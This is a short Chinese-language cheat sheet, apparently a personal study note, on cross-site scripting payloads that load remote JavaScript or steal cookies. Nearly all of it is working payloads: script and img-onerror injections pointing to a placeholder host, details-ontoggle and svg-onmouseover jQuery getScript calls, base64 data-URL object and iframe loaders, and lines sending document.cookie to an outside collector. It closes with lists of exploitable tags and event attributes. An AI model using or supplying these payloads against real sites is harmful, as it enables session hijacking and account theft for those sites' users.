xss 加载远程第三方JS基础知识入门
script
没有调用远程平台,用web接收cookie
<script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</script>
简单的script链接远程第三方js,省略协议,浏览器自动加载当前页面的协议
<script src=//xxx.xxx/a.js></script>
img图片
图片创建script节点,链接远程第三方JS
<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>
图片创建其他节点,接收cookie
<img src=x onerror=document.body.appendChild(document.createElement('img')).src='//xxx.xxx/a?cookie='+document.cookie>
details+ontoggle展开
details详细信息展开时触发,往往是被忽略的一个点
<details ontoggle="$.getScript`https://xxx/a.js`">123</details>
data url
生成base64解码内容
TIP:刚开始用的时候,页面加载的是经过urlencode的标签,无法解析;经过同事指点,是生成base64的网站自己加的url编码。再用站长之家,生成的base64中有htmlencode。。最后找到了个正常的。在线加密解密
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></object>
<iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></iframe>
标签还有 <anchor>、<img>(不允许加载js) <a>(需点击) <meta>.....
直接调用
JQuery调用js
onmouseover=$.getScript("//xxx.xxx/a.js");
<svg onmouseover="$.getScript`https://xxx/a.js`" stype="display:none">
总结
总的来说,三个点:标签、属性、事件代码。
标签
svg
input
object
iframe
img
甚至a pbutton等等都行。script直接运行js
属性
onerror
onload
onmouseover
onmousemove
onmousedown
onclick
onfocus+autofocus
切换(具体忘了,回头查查)
代码
console.log(document.cookie)
document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie
prompt(document.cookie)
confirm(document.cookie)
以及上方加载远程代码的payload